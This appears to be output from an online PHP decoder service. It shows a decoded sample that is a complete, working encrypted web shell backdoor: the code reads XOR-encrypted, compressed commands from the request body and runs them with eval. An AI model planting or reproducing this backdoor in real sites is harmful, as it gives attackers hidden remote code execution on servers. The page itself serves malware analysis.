Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$k="f4eb27ce";$kh="a7255cea4d1f";$kf="fabf593372e8";$p="kphtlfweXTAdjKkP";function x($t,$k..

Decoded Output download

<?  $k="f4eb27ce";$kh="a7255cea4d1f";$kf="fabf593372e8";$p="kphtlfweXTAdjKkP";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");} ?>

Did this file decode correctly?

Original Code

$k="f4eb27ce";$kh="a7255cea4d1f";$kf="fabf593372e8";$p="kphtlfweXTAdjKkP";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");}

Function Calls

preg_match 1
file_get_contents 1

Variables

$k f4eb27ce
$p kphtlfweXTAdjKkP
$kf fabf593372e8
$kh a7255cea4d1f

Stats

MD5 f8d9a1b6a007e6f4d5d70b2747b7292e
Eval Count 0
Decode Time 89 ms